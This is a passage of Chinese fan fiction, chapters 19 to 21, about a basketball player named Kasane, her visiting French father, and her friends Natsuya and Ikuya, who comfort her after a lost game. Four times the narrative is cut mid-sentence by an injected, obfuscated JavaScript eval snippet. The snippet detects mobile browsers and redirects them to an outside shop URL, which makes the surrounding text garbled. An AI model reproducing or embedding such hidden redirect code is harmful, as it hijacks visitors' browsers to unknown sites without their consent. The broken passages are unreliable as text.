“好了，这就是艾莉娜。”皮埃尔把他推到跟前，“你不是一直说想要见到姐姐的吗？” 是风音，不是艾莉娜。 风音这么想着。 Kasane Erina Seydoux，这是爸妈离婚前她的名字，但在抚养权争夺战结束、她被妈妈带着去改名之后，皮埃尔才开始用中间名Erina喊她——什么人才会用中间名喊人？风音都想高呼一句“Merde！”了。 想也知道，固执地用在自己的语言中才含有意义的名字称呼她，是这个法国男人努力地挽回自己在女儿身上仅剩的那一点所属权。风音完全理解他的这点（无聊的）尊严，一次都没有说过自己觉得这很别扭。 但在心情很糟糕的这一天，“艾莉娜”这个名字听起来比任何时候都要刺耳。 风音努力屏蔽着听觉，暗自希望弟弟安德烈亚最好别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691904|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么喊她，幸好他真的没有这么说。 当然了，他别的话也没说，只很小声地嘀咕了一句“你好”，抬头看了看她，然后就立刻缩回爸爸的身后了。 是害羞的孩子呢，明明前两年那么活泼的。 对话稍稍尴尬地在这时候中断了半分钟，然后以她的一句“还没吃晚饭吧”告终，明明血脉相连却不算太熟的三个人这才匆匆忙忙离开玄关，开始为晚饭做准备。风音站在流理台旁边择菜，安德烈亚在看电视，皮埃尔絮絮叨叨，说他一路从巴黎飞来多么不容易。 从出门前坐错公交到地铁线路大罢工到险些错过起飞再到遇到气流颠簸，阿联酋航空的餐食被他疯狂抱怨。风音听了一点，大多数时候都在发呆。 不听也没事，这些都是废话，毕竟连普罗旺斯炖菜都已经放进烤箱里了，他还在说飞机上的事情。 “对了，你明天是不是还有比赛？今天的错过了，我和安德烈亚明天去补上吧。”他忽然说。 咔哒——菜刀险些卡进砧板里。 “没有比赛。我们今天输了。” “哦……对，我忘记了。抱歉。” “没关系。” 才不是没关系。他到底有没有在听自己说话？ “实力不足才输了？” “不是。我犯规了。” “啊……难怪我看你很不开心。不过输了也没事。”他把番茄丢进锅里，激起的水花比他说这话的语调荡得更远，“人生就是有输有赢，下次再赢回来就好了，别难过，艾莉娜，还没到世界末日。” 风音没有做声，而他依旧说着。 “等你长大了，需要苦恼的事情可就更多了，希望你不要有朝一日遇上自己的孩子在机场里大吐特吐。老天爷，那可真是太丢人了，我觉得那时候所有在海关那里排队的人肯定都很鄙视我，恨不得我赶紧收拾干净才好。天呐，我自己也想赶紧把脏东西擦掉了，还好机场的工作人员很体谅我，还叫来了医生帮我照看安德烈亚。真没想到久违地来一次东京会这么麻烦。希望去京都的时候顺利一点。对了，艾莉娜，跟我们一起去京都玩吧。” “我还有训练。” “训练嘛，没什么大不了的，翘掉也没事吧？难得有机会，还是和家里人一起去玩更好。” “……” 风音丢下手里的东西。当理智归位的时候，她已经穿上外套，走到玄关了。 要出门吗？皮埃尔问她。 “去买点东西。”她现在才开始找借口，“附近有家很好吃的炸猪排店，我去带份外卖回来。” “哦。早点回来。” 这句叮嘱没能追上风音。她已经关上了门。 其实，家附近没有好吃的炸猪排店，她也没想好去往何处，冬日的风只是推着她向前，却也没能带她走远。她很快就累了，干脆往公交站的长椅上一坐，思绪尽数落地，不再沉沉地下坠。 手机震个不停，不知道是谁的消息，她没力气去看。时间的定义也变得比任何时刻都要虚晃，她只在身旁多出了一人的时候才意识到，自己可能已经坐了很久。 匆匆忙忙想站起来，但身旁的青年拽住了她的衣袖。 “晚上好。” 夏也笑着说。 19.普罗旺斯炖菜 从小学开始，就常常在课本上见到过类似的话，具体的原句夏也早就想不起来了，大致的意思是，坚硬笔直的树比草更容易被风折断。其中蕴藏的意思也很明确，暗示着过分坚强（或是执拗？）的人，在面对重大打击的时候，反而会容易遭遇更糟的结果。 夏也不觉得风音是树，说到底，她好像就不是那种适合用植物比喻的人——要是改用动物进行形容的话，他倒是能说出来一些。 但在今天的比赛结束之后，经过停车场看到她时，他忽然觉得，这一刻的风音很像一棵树。 也就是说，她的后背绷得比任何时候都要更直，脑袋低垂着，明明印象里几乎不会见到风音低头走路的时候——等等，这也许就是她小时候很经常会摔跤的原因？ 开场前扎得干净漂亮的马尾辫在四节比赛的跳跃与奔跑的拉拽下已经变得松松垮垮，略显凌乱地搭在肩头，散落的碎发也盖住了她的侧脸。她就这么低头往前走，没有向任何一样东西或擦肩而过的路人投去目光。 就是从那一秒起，夏也开始担心。 失败是常事。 尤其，这是竞技体育的世界，输赢会成为硬币的两面，绝无可能永远翻到同一侧。而风音有多好胜，他当然知道，毕竟小时候踢足球上头到会彻底无视队友存在的那个人就是她。 有好胜心，也有与之匹配的天赋，却还没有经历过痛彻心扉的失败，迄今为止都幸运且顺利地抵达了能力的极限，对于这样的长达数年的运动生涯来说，意料之外败局一定会比任何时刻都要尖锐吧。 同她说了宽慰的话，收到了她的答复，看起来只是客套的场面话。 夏也想着前几年还和郁弥关系不管太和谐的时候，那时的郁弥也是困在了不理想的成绩之中。当时是怎么和解的来着？呃，总觉得他好像也没怎么帮上忙。 总之，那时候彻底解开矛盾的契机是和郁弥一起参加了游泳比赛，靠着竞争之心抹平了隔阂。但如果对方是在水里相当不自由的风音……看来是不能故技重施了。 直到四处打听风音家地址的时候，夏也还是没想好怎么办比较合适，总之想先和她面对面说点什么，可她没接电话，让人有点担心。 问了后辈悠马，悠马去找了京王的队长吉田，吉田又咨询了和她同级生的叫伊藤的同学，总算是得到了地址。敲敲门，冒出来的却是一颗法国产的光头，一度让夏也怀疑自己是不是走错门了，可这里的确是伊藤凪所说的510没错啊。 “您好。”夏也努力地控制着自己的目光不要往里打量，否则实在太不礼貌，“请问这里是鹿鸣家吗？” “你找艾莉娜吗？” 陌生的名字。 夏也更确信自己走错了，但这熟悉的含着水的口音却又真的很熟悉。 他花了两秒钟时间才反应过来，眼前这位是缺席了整场比赛的风音的爸爸——虽然还是不知道艾莉娜是谁。 他巧妙地躲开是否问题，只说：“如果风音不在家，我就先告辞了。” “她出门买东西了……买炸猪排？应该马上就回来了吧。她出门已经好久了。” “这样嘛？我明白了。” “你要不进来等？” “不用不用不用——” 不只是不好意思和不礼貌，夏也更多的是觉得，等待不会得来好结果。 先行告辞，而后开始检索附近的炸猪排店，倒是有好几家，但他怀疑风音不在其中的任何一间店里。 或许，还是明天来找她比较好吧。她肯定也需要一点时间消化今日的心情。 正是在冒出这个念头的时候，他看到她了，就猫在公交站的座椅上，不知道在盯着什么，一贯挂着各种耳饰的耳朵空空荡荡，什么也没有佩戴，看起来好不协调。于是他走过去，害她被吓了一跳。 “我还以为自己碍到了别人的事。”风音耸耸肩膀，“毕竟，我又不是真的在等车，坐在这里完全就是在占用公共资源。” “没事，反正没人知道。” 然后是几秒的沉默。 “你刚好路过这里吗？” “没有哦。”夏也垂眸看她，很认真的表情，“我是特地来找你的。” 意料之外。 有被吓到吗？倒也不算吧。但至少在听到他的回答之后，风音猫起来的后背总算是稍稍挺直了一点，表情略微发愣，忍不住开始挠头。 “因为我今天输了的事情吗？”她苦笑几声，“我没事啦，过几天就好了。谢谢。我真的没事。” “我知道，但还是想来看看你。说起来，我刚才遇到你爸了。明明都已经十几年没见面了，他倒是好像没什么变化。” “有吗？” “嗯，有的。”还是和以前一模一样的光头，不过这话他可不打算说，“他说你去买炸猪排的，可是……” 他的目光顺势落在风音空空如也的手上，把她的借口彻底戳穿。还好风音本人并不觉得不好意思，坦白说，自己就是想出来喘口气。 “和皮埃尔说话一点也不开心。”她直说了，“他的自我太庞大了，又不怎么把别人放在心上，有点讨厌。但我不想和他吵架，因为他肯定会摆出一副很受伤的表情。既然这样，我干脆一个人出来透透气，等收拾好心情了再回去。” “‘爸爸’这个角色就是很烦人的。我爸也差不多是这样。” “是呢……啊。不是。”她立刻改口，“我都没怎么见过你爸爸。” “他一直在海外出差，这几年也是一样。我都忘记上次什么时候和他说过话了。” “你也很艰难呢。” 不太想承认这一点的夏也干脆笑了两声：“彼此彼此。” 不知算是有意还是无意，他们谁也没提比赛的事情。不过冬日的风实在太过冻人，夏也和风音都有点坐不住了。 “夏也吃过晚饭了吗？” “没有哦。” 本来用来进食的时间全都用来找风音了。 作为吞掉了夏也傍晚时间的罪魁祸首，风音对此一无所知，不过她还是会邀请他一起回家吃饭作为被冬风冻得不行的补偿。 “吃过普罗旺斯炖菜吗？” 夏也想了想：“《料理鼠王》里那只主角小老鼠做的压轴菜？” “没错，是今晚的主菜之一。来尝尝吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701369|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好。” 于情于理——好吧，主要还是从未品尝过普罗旺斯炖菜的这份心情在作祟——他不会拒绝。 顶着冷风走回家。今晚确实有点太冷了，他们俩挤在玄关，等着空调风把身体捂暖了一些，这才把外套挂在门口的衣架上。然后介绍夏也和安德烈亚认识，可惜害得她的弟弟看起来更加拘谨了。皮埃尔从厨房里探头出来，问她买到炸猪排了吗。 “没有。”风音说起谎言完全是信手捏来，“卖光了。” 他好失望：“这么早就卖光了？” “限量的。不过路上遇到了夏也，就请他一起过来了，菜应该够吧？” “是刚才那个小伙子。” “嗯。你是不是没想起来他是以前邻居桐岛家的长男？” 话都说到这份上了，皮埃尔还是花了几秒钟才想起来——风音有理由怀疑他只是装出了一副想起来的样子而已。 “是那个夏也啊，没想到已经长这么大了！你弟弟还好吗，我记得他和艾莉娜一样岁数是不是？” 行吧，看来不是演的。风音勉勉强强收回了对皮埃尔的审视目光。 在外头磨蹭了很久，这会儿回来的时机倒是刚好，普罗旺斯炖菜即将出炉，番茄意面马上就要下锅了热气腾腾，皮埃尔拿着筷子哐哐拌沙拉，安德烈亚则是在风音的背后探头探脑，不知道是在看今日的晚餐，还是好奇心作祟在偷偷打量姐姐和她的朋友，但他的小动作真的很容易让夏也想起风音小时候的模样。 但安德烈亚确实比她安静很多。在等待开饭的短短一段时间里，夏也和他坐在一起，无聊地不知道该干点什么才好，语言还不通。这孩子总是悄悄看他，抬起眼睛的样子和小时候的风音真像。 走向餐桌的时候，安德烈亚轻轻地捏了一下他的手指。可能是在和他握手吧。真是个腼腆的孩子，也难怪他吃饭时轻手轻脚，也不怎么说话——当然，很可能是因为他听不懂爸爸现在正在说的语言。况且现在喋喋不休地说着无聊话题的那一方是皮埃尔，夏也第一次知道原来他是个很话痨的男人。 不过，他也不是完全沉浸在自己发言之中的那种人，时不时也会丢出反问，比如像是“你说是吧艾莉娜”之类的话，不过她应答的频率越来越低。夏也注意到，每有一声“艾莉娜”说出口，她的鼻子就会稍微皱一皱，伸手去拿水杯，用嘴唇碰一碰水。 “以前我们去马赛的时候，那都是好久以前的事情了，还记得吗艾莉娜，你……” “风音。” 很突然地，夏也出声，随后的话语过了两秒才说出口。 “你东西掉了。” 风音低头去看，地上什么也没有，但她还是恍然大悟地“啊”了一声，俯身去捡，从桌子底下抬头看他，小声说了“谢谢”。 在那之后的时间里，“艾莉娜”这个名字再也没有出现在餐桌上， 晚餐结束，皮埃尔带安德烈亚去酒店登记入住，夏也蹭他们的计程车一起回去。风音今天太累了，送他们到家门口就道别了，正准备关门，门扉却被抵住了。 “明天，”夏也说着，话语轻快，“明天来我家吃饭吧。” 20.请勿遗漏关键食材 风音已经做了好百分之一百的计划和准备，在关门之后，她就会立刻躺到床上闭眼休息，睡上一觉之后再考虑洗碗或是家务或是洗澡之类的事情。 也就是说，在门扉即将合拢的那一秒，她就已经卸下了所有的动力，连表情都已经垮下去了，忽然被夏也推开门，还听到他说出了“明天来我家吃饭”的邀请，害得她短暂地愣了愣神。 “明天吗？”并且还提出了很笨的反问，“去你家？” 夏也点头：“没错。希望你明天有空。” “啊——空闲时间倒是有的。” 毕竟，接下来的几天都不用训练了嘛。 “可以倒是可以啦……”风音抓抓脑袋，“不过，为什么要邀请我呢？” 是因为她输了、看起来沮丧又可怜、根本不像是往日的模样，所以才想要让她振奋起来吗？这是风音能够想到的理由，可她没有直说。 对夏也说出这种话，一定很没礼貌。 “想这么做，所以就这么做了。”笑着说出这话的他，看起来爽朗到完全不可能会撒谎，“再说了，今天你也邀请我一起吃晚饭了，这是对今天的报答嘛。我可不会问你为什么邀请我。” “也是。” “那明天就是我们三个人一起了——哦，我刚才忘记说了，明晚本来是郁弥要来我家吃饭的。你知道吗，做三人份的晚餐会比两人份更方便。” 风音笑了笑：“我不知道。”她一向是不做饭的。 “总之，你能过来真是帮我大忙了。明天见。” 说完道别，他很贴心地自己帮忙把门关上了，都不等她回应一声“再见”。隔着一道门，似乎还能听到他追上皮埃尔他们的脚步声。 风音兀自在门后站了一会儿，刚刚调动起来的那点精神在脚步声渐渐远去之后彻底消磨完毕，完全不足以支撑她回到房间，最后干脆往沙发上一倒，就这么缩着身子睡着了。 不过，真的睡着了吗？风音自己也很不确定。 总觉得大脑还分外清醒，思维也没有沉寂下来，她似乎还在思考，或是回忆，记忆主动或是被动地重新在眼前展开。每当这时候，她猛然睁开眼，才会意识到，刚刚的自己切实地睡着了。 反反复复，睡眠和清醒的状态交替，差不多到了凌晨她才真正地醒过来，顶着昏昏沉沉的脑袋开始洗碗，然后吃掉冰箱里的饭团——都不知道这是早饭还是宵夜了。接着收拾好自己，正经地躺到床上，继续睡觉。 忘记取消闹钟，五点半就有刺耳的声音传进耳朵里了。风音习惯性地从床上弹起来，抓起挂在床边的运动服（她昨天甚至都没有和平常一样纠结该选哪件衣服，随手从衣柜里拿了一件），凭着肌肉记忆，一口气把拉链拉到顶，结果夹住了下巴上的一层皮，因此想起了今天没有训练也没必要晨跑的这个事实，很干脆地穿着衣服缩回了被窝里。 一整个白天差不多就是在睡觉和发呆之中度过的。 在平常训练的间隙，风音会花上一点时间……好吧，其实她会用很多时间去想休息日的时候该做点什么事。 比如，Ayatorie上架了季节限定的新耳环，距离最近的店大概是涩谷那家，正好还能去附近的竹下小路看看。还不加上伊藤凪一起去吧？虽然这家伙对首饰从来都不感兴趣。 但是，今天该干什么，风音一点都还没有想好，干脆什么也不做，躺在床上回复聊天消息。妈妈发来了安慰的消息，说得肯定比皮埃尔好听多了，她知道自己该对此高兴，可还是觉得所有的“没关系”和“别放在心上”很刺眼，干脆复制了昨天给郁弥和夏也发过的回复，敷衍地贴到了和妈妈的对话框里。 然后发呆，看电视，发呆，时间差不多了就出门，照着导航指示的路线走，在夕阳彻底落入地平线之下的十分钟后，站到了夏也家的门前。 好像，来早了一点——准确地说是早了整整半小时。 风音站在走廊里搓手，毫不犹豫地按响门铃，却没人开门。 诶，没听到吗？再按一下。 怎么开始没人开门？ 作为她认识的所有人中最靠谱的那一档，风音确信夏也一定不会故意拿她开玩笑，也肯定还没到重听的年纪。久久不开门……不会是出现什么意外了？现在开始撞门应该没关系吧！ 这念头只冒出来了一秒钟，她立刻准备行动了，后退几步确保助跑距离，正准备往前冲，余光里出现了熟悉的身影。 “你来得好早。” 提着便利店塑料袋、连外套也没有穿的夏也缩着脖子小跑过来。 “今天好冷……你有没有等很久？” “我刚到。” 这回她总算不是在说好心的谎话了。 夏也哆嗦着从口袋里摸出钥匙开门，说自己做晚饭做到一半，突然发现调料用光了，匆匆忙忙下楼去买，不巧正好和她过来的时间错开了。 “原来如此。”风音恍然大悟似的点点头，目光顺势移到了他提着的袋子上，“今天晚上吃什么？” “烤鸡肉咖喱。” “哦——” 风音忍不住又瞄了一眼他手里的便利店塑料袋——里面装着的是刚买来的咖喱块。 所以用完的不是什么随随便便的调料，而是今晚整道料理的核心才对吧…… 这话风音只好意思在心里稍微想一想，完全不打算说出口，毕竟前来蹭饭的那一方天生就该嘴软，把一道带来的水果放下之后她就开始盘算着能怎样打下手了。 “不用帮忙，我差不多都快做完了。而且为什么要带水果？你这样也太像个客人了吧。” 风音“啊”了一声，“可我的确是客人没错，而且我还是第一次来你家，两手空空上门的话实在太没礼貌了。” 站在炉灶前的夏也露出一抹奇妙的微笑，熟练地系好围裙，“我昨天也是两手空空过来的，你是在暗示什么吗？” “……绝对没有暗示或者阴阳怪气的意思，不信的话我现在立马给夏也大人您土下座谢罪！” 偶尔，风音会像现在这样，把特别小的事说得特别正经特别庞大，夏也对此早就习惯，会笑着说“也不用土下座”。不过距离咖喱煮好确实还要好久，不如让她帮忙挑选下饭的电影好了，自己则赶紧钻进厨房捣鼓晚饭，忙碌了一会儿才听到她在喊他。 “我选不好，怎么办！” “嗯？”夏也从厨房探身出来，看到一脸苦恼的她。 “每部都很有意思很想看……我选不出来。一晚上不可能看完这么多的电影吧？” 她又陷入选择困难了。 “要不看那部好了……你的手往右边挪一点，对，就是这部。” “唔——” 风音举着影碟，封面是坐在疾驰赛车上的男主角与金毛犬。 “好像是挺有意思的。”她说，“简介看起来很感人的样子，说的是赛车手和宠物狗的故事，肯定是郁弥绝对看到一半就会哭到吃不下饭的那种电影。” “比起电影，你更想要看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704561|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是郁弥的眼泪吧？” “我拒绝回答。” 看来他猜对了。 夏也不打算告诉她，租下这张影碟的主要原因是，封面上的小狗和她很像——都是金色的嘛。 下饭佐餐已经选定，咖喱也即将出炉，只剩郁弥不见踪影，发去消息也收不到回复。想也知道，他估计又忘记看手机了。夏也一通电话打过去，半分钟才被接起来。 “抱歉，没来得及告诉你，晚上突然安排了练习赛，还有两场没有结束，我在纠结是晚点过来还是干脆不来。” “第二个选项有点太无情了吧，就这么对待最喜欢哥哥吗？” “你才不是我最喜欢的哥哥呢。”郁弥嘴硬。 “就算你这么说，我也知道我是。不过，有情况以后早点和我说嘛，我等等你倒是无所谓，但今天风音也在啊。” 电话那头风郁弥的声音很微妙地抖了抖：“风音也在吗？” “是啊，我昨天和你说了的。你忘记了？” “嗯……” 郁弥的应声介于质疑的“嗯？”和确信的“嗯！”之间，带着一点微妙的茫然，但只要不主动承认，似乎就能逃避自己昨天在惦记着风音的事，完全没在认真听哥哥说话的这个事实。 无论如何，既然风音也在的话…… “我会来的。”他说，“稍微晚一点。” “收回前言，我可不会等你了。” “那你和风音吃慢点。” “强人所难。” 不知道算不算是达成了共识，总之夏也已经挂断了电话，把咖喱盛到碗里，并且完全没有刻意放慢吃饭的速度，以至于电影才刚开始二十分钟，他和风音的盘子就都已经空了。 接着，认真地看电影……或者可能也没那么认真，至少夏也并不专心。 他的余光落在风音身上，能看到她圆润上翘的鼻尖一点一点泛起很浅的绯色，不那么专注的目光只是恰好投在了电视屏幕上。可她好像又足够专注了，连手机的震动也没有察觉到，直直地盯着屏幕。她今天依然没有戴耳环，耳朵空落落。 在电影的中段，一个不那么煽情的部分，她开始掉下眼泪，而后泪水再也没有止住。而那真的只是微不足道的感人桥段。 夏也按下了暂停键，把纸巾盒挪到她面前。 “对不起，我只是……特别抱歉，我没想……我就是觉得，突然觉得，很不甘心。” 她的话语断断续续，她的肩膀不停起伏。 “咖喱很好吃，电影也不错，可是……今天不该这么度过的。我不甘心。” 上一次——也是在此之前的唯一一次，看到她掉眼泪，是她和郁弥一只喂养的野猫被车撞死。 两个哭得眼睛都肿了的小家伙抱着软绵绵的猫咪的尸体来找他，问他该怎么办。他没有办法，死猫稍稍让他觉得有点害怕，毕竟尸体很容易害他联想到幽灵，连安慰的话也忘了说，只是掏出零花钱，让他们快去找兽医。 而后，依稀记得的部分是，风音和郁弥把猫埋在了海边的沙坑。他们俩搂着彼此的肩膀，缓过劲来但还在掉眼泪的风音小声安慰无法走出这份悲伤的郁弥，一直到了晚上他们才不再落泪。 现在，该由谁来安慰她呢？ 一时之间，夏也居然什么话语也想不到。他只能伸出手，轻轻揽过风音，让她靠在自己的身旁。 在泪水打湿衣襟之前，门被打开了。 郁弥站在玄关的影子里，目光落在他们身上。 21.迟到理应得到惩罚 郁弥正站在泳池边发呆。 突然开始的练习赛差不多快到尾声。就和他电话里同哥哥讲的那样，再差两场比赛就能结束了——可惜他很快就发现了，这句话中的“两次”应该是个虚数词，因为在正正经经的两回合结束之后，练习赛居然还没有结束。 并且他真的不确定什么时候才会真正告终。 饥饿感倒是还好，烦躁心也维持在恰到好处的程度，不至于让他真的多么急躁，但他还是希望今天的练习赛可以尽快结束。他在心底自我解释，对空闲时间的期待是很正常的事情。 可惜纯粹的期待无济于事，好不容易下定决心，准备问问队长能不能先回去，反正后面也没有他非出场不可的比赛了。话还没来得及说出口，队长就已先一步宣布今天的训练和比赛全部结束。这算得上是适时的好事，就是难免让郁弥有点后悔自己没有早一点开口。 早点说的话，不就能早点回去了嘛。 好在不至于对此懊恼或者丧气，就算是刚刚冒出头来的后悔心情也被郁弥用一个指头碾了下去，他飞快地换好了衣服，婉拒了日和一起吃晚饭的邀请，快步走向车站，期间完全忘记要和夏也说一声自己已经准备回来了或是马上就到之类的话。 电车上没有空位，只好抓着把手和车厢一起摇晃。处在这种笔直的状态，饥饿感终于化作了更加切实、也更加恼人的存在，害得他不得不开始东张西望，一边寻找着合适的东西用来分神，一边期待这辆高速行驶的特急列车可以早点把他送到目的地。 期待注定是要落空了，谁让东京地铁的准点率在大多数时候都很优秀（包括现在），换言之绝不可能提前到站。好在他的搜寻工作得到了不错的成果，电视上播放的体育新闻足够攫住他的目光——依然在播放着大学女篮冬季杯的第一轮淘汰赛，现在出现在屏幕上的是一点也不让人意外的京王大学与东帆大学的比赛结果。 无趣的内容。只看了两眼，郁弥就收回了目光。 好吧，看来这根本不能纳入“好在”的范畴之中了。 新闻标题把昨日胜利的东帆形容为“本年度最受瞩目的黑马”，大肆展示着这支队伍从地区预赛直到全国舞台上的亮眼表现。相较之下，强豪京王的存在感弱得几乎像是不存在，只是背景板和旁白中一笔带过的存在。 没有把镜头和视角聚焦在“被狠狠击败的强豪”之上，似乎是好事一桩，可相较之下，缺位的关注肯定更糟吧。至少郁弥会这么去想。 而后，也会想到风音，想起最后十秒她撞上对方球员时那副很拼的姿态。 已经过去了一天有余，不知道她是否已经调整好了心情。大概率是没有。 郁弥换位思考过，要是同样的事情发生在自己的身上，他一定会需要比二十四小时再多一点的时间。但风音一向是比他更看得开的人，或许用不了这么久？ 还剩两站路，他忍不住抓了抓外套领口。 想知道风音的状态，最好的办法就是直接去问，可这样肯定不够礼貌，且本人很有可能会逞强——再加上他一向不擅长说出这么直截了当的询问，于是这个念头更加难以落实了。 思来想去，他最后也只是在对话框里打下了一句“如果最近有空的话要一起出去透透气吗”，按下发送之后就火速收起了手机。正好电车也已经到站，他闷头快步走出车站。 一年里冷到最让人难受的日子不是年底，而是新年刚过没多久的年初这几天。天气预报说这几天会下雪，一想到鞋底踩穿积雪空隙时那难受的“咔嚓”一下，郁弥就忍不住要缩起脖子，加快速度走向夏也家。 至少今天没下雪。 踏上台阶，摸出钥匙。明明都在口袋里藏得好好的，手指却已经冻僵了，他花了几秒钟才让钥匙顺利滑进锁孔，又浪费了一小点时间转动钥匙。咔嚓。门打开了。 客厅的电视机映着不算明亮的光，让坐在沙发上的人影显得有些模糊。郁弥看到了哥哥翘起的头发、他微微弯折的手臂，还有……啊，他抱着什么东西。 或是说什么人。 郁弥不想承认自己稍稍发愣了，心脏的鼓动也绝对没有任何古怪。 他会坦白的部分是，此刻绝对是从门缝里钻进来的风在推着他往客厅里走，僵硬的脚步显然也是今晚零下的温度在作祟。他慢吞吞地挪到沙发旁边，夏也抬头看他，很无奈的表情，害他不知道该说什么才好。 “那个……”总之先这么开口了。 就像那种一打开盖子会跳出拳击手套的整蛊盒子，风音一下子整个人弹了起来，与郁弥对上视线时，把他吓了一跳。 虽然他完全没敢去想这个情形下风音会摆出怎样的神情，但湿漉漉泪眼婆娑的面孔绝对不符合他的预期。他被惊到“啊”地叫了一声，赶紧放下包，挤到沙发的一侧。 “怎么了？” 他看看风音，又瞄了一眼夏也，可惜没有得到答案。就连当事人风音也只是猛抽好几张纸巾，把脸埋在了掌心里。 “没事啦。没事。”她只这么说。 蹩脚的谎话，郁弥会信才怪。 “如果是为了昨天的事，感到难过也很正常。毕竟……” “不是纯粹的难过。要是仅仅只是悲伤的话，我不至于觉得这么难受。”她很像是在扯着嗓子说话，要把心底的一切都倒出来，“我很后悔，也很不甘心，觉得自己无能的心情也很强烈。我甚至觉得很不公平，既然一场比赛总要分出胜负，那赢下比赛为什么不能是我的队伍？我居然连这种没理由的想法都冒出来了！” 不过，会这么想，也很正常吧。世上不可能有人会想当输家。 “没有人怪我，没人说我做得不够好，大家都安慰我，明明是我彻底捏死了最后的转机。我真的宁愿大家抱怨我几句，或者是责骂，可是都没有。队长还说要为了下一次的比赛做准备，可冬季杯就是本学年最后的一场大型比赛了，四年级的前辈们不会再有什么‘下一次的比赛’，就算这样，她们还是任何抱怨的都……要不然你们骂我几句吧。” 郁弥突然觉得自己要从这份过分强烈的罪恶感里出戏了：“你说什么？” “我说。”风音用力擤鼻涕，把鼻子擦得好红，“拜托你们就昨天比赛失败一事责怪我。” ……感觉像是被某种怀有特殊癖好的人缠上了。 郁弥一言不发，夏也默默移开了视线，只有风音的目光在两人之间打转，根本躲不开。 “别告诉我，你们没法责怪我。” “确实，做不到。”郁弥艰难开口，“总不能敷衍地说你为人小气或者讨厌吧？” “我觉得我既不小气也不讨人厌啊……” “只是打个比方而已！” 他赶紧替解释，就是不知道风音有没有听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711010|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进心里了。 夏也纠结着不知道该说什么好。他肯定不会去说指责的话，毕竟渴求责备只是她的愧疚感在作祟，根本不是真正有用的解法。 他花了点时间思考合适的回答，在这期间风音的蓄满眼泪的双眸都快粘在他身上了，盯得他没办法，只能先伸出手，拍拍她的脑袋。 “我肯定也不会指责你的。” “……好。” 她肉眼可见地瘪下去了。夏也搓搓她的头，努力让她振作起来。 “我觉得风音没有做错什么。篮球我确实不懂，但能看出你昨天的行为不是恶意的犯规，只是意外而已。” 他慢悠悠地说。 “和篮球不一样，游泳多数时候是独自一人的战斗，一切不好的部分百分之百都是自己的问题，于是‘自责’也变成了很理所应当的事情。” “接力赛就不用百分百怪自己了吧。”郁弥莫名的就是很想插嘴。 “嗯，所以我说的是‘多数时候’。”夏也很有耐心地继续说下去，“在团队运动的篮球当中，你犯下的问题无人责怪，就证明她们也不认为失败真的是你的错，否则大家肯定要聚在一起讨论未来如何避免问题的发生才对。既然如此，你也不要怪罪自己。把你的不甘心留到下一次吧。不是有句话很有名吗？‘不要道歉，要做得更好’。无论是你还是前辈们，谁都还有‘下一次’，你没有浪费任何人的机会。” 其实，夏也没什么信心。他不觉得自己真的能够宽慰到风音，毕竟很多时候，他连弟弟都哄不好。可她确实从掌心之中抬起了头，不再落下眼泪，想要说点什么，却先一步被“叽”一声打断了。 是郁弥的肚子在叫。 好吧，现在是他要掉眼泪了。在这种场合下唱起空城计，真的好丢人。 风音没忍住，一下子笑起来，问他：“你也不要先吃饭？” 郁弥的脸颊烧到冒出蒸汽，梗着脖子说：“你现在这样我怎么好意思吃饭。” “什么叫‘你现在这样’，我现在恢复正常了啊！”她好不服气，“我已经完全被夏也的心灵鸡汤治愈了，所以我……你们觉不觉得有点冷？” 从刚才她就觉得有冷风从背后拂过，只当是错觉，但真的越来越明显了。赶紧四下看看，啊，门居然敞开了一条缝。 “抱歉。”郁弥主动认罪，“我忘记关门了，现在去关。” “那我就去热一下饭吧。” 沙发上转眼就只剩下风音了。她吸溜了一下鼻子，深呼吸一口气。 太久没掉眼泪，胸腔痛得难受。她捶捶胸口，顺势拿过手机，看到了郁弥发来的消息——问她要不要一起出去玩的那条。 “不好意思。”她赶紧道歉，“我刚才没看手机。你想好去哪里玩了吗？” “没有。既然出门了，干脆去远一点的地方。” “周边城市吗？” “嗯。比如，轻井泽之类的？” 